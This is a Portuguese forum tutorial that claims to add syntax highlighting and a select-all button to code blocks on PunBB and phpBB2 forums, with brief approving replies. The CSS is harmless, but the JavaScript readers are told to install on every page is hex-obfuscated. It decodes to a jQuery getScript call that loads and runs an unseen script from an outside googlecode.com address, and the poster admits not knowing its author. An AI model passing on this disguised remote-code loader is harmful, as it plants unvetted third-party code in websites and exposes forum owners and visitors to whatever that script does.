Staffer Group BR™

Fórum interativo totalmente gratuito!

/* Widget *//* Resposta rápida bloqueada */
Cadastre-se
→ Crie a sua conta

 VisualizaçõesPermissão deste fórum:
Você não pode responder aos tópicos neste fórum


CurtirDiretório deste fórum:
Fóruns » Principal »  » Tutoriais » Tutoriais sobre programação

#1
 D'Leandro™

avatar
Fundador
TUTORIALColorir e selecionar códigos do code

Pois bem, este tutorial já é bem antigo, mas tinha parado de funcionar, agora eu dei uma mexidinha nele e ele voltou a funcionar legal, espero que seja util para você, ele realmente da um up no design do fórum. Quem fez o código? de quem é o crédito? Bem, eu não faço nem ideia, se você souber por favor comente ai em baixo. (Só será aceito se houver prova)

Funcionalidade: PunBB e Phpbb2 (Não testei em outras)

Para começar a instalar o efeito vamos colocar o código de estilo CSS.

Código:
.select-all-code {float: right; margin-right: 5px;}
.prettyprint .pln {color: #000}
.prettyprint .str {color: #080;}
.prettyprint .kwd {color: #008;}
.prettyprint .com {color: #800;}
.prettyprint .typ {color: #606;}
.prettyprint .lit {color: #066;}
.prettyprint .pun {color: #660;}
.prettyprint .pln {color: #000;}
.prettyprint .tag {color: #008;}
.prettyprint .atn {color: #606;}
.prettyprint .atv {color: #080;}
.prettyprint .dec {color: #606;}
.prettyprint .linenums li {border-left: 3px solid #EBEFF9; padding-left: 5px;}
.prettyprint {font-size: 11px !important; padding: 0px;}
.prettyprint ol.linenums {margin: 0px}
.prettyprint .pun {background: transparent; border: none; box-shadow: none; margin: 0px; padding: 0px;}
ol.linenums:hover {list-style-type: none;}


Agora que já temos o estilo adequado, vamos adicionar o código que fará tudo isso real. O JavaScript
O investimento deve ser "Nos tópicos" ou "Em todas as páginas"

Código:
var _0xcc89=["\x68\x74\x74\x70\x3A\x2F\x2F\x74\x6F\x78\x69\x67\x65\x65\x6B\x2E\x67\x6F\x6F\x67\x6C\x65\x63\x6F\x64\x65\x2E\x63\x6F\x6D\x2F\x73\x76\x6E\x2F\x74\x72\x75\x6E\x6B\x2F\x6A\x73\x2F\x5F\x30\x78\x61\x35\x36\x38\x2F\x5F\x30\x78\x61\x35\x36\x38\x2E\x6A\x73","\x67\x65\x74\x53\x63\x72\x69\x70\x74"];$[_0xcc89[1]](_0xcc89[0]);


Depois de salvar as 2 partes do efeito basta colocar algo dentro de um [code] e ver o resultado!

  • Visualização final:

Ver perfil do usuário

#2
 Superbomber

avatar
Membro
u.u legal, vou ver se é bom :D

Assinatura:
Hacker Justice
Ver perfil do usuário

#3
 IPlayG

avatar
Membro
Um Syntax Highlighter , muito bom!
Ver perfil do usuário

#4
 Master Publicitario

avatar
Membro
Muito bom!
Ver perfil do usuário

#5
 Conteúdo patrocinado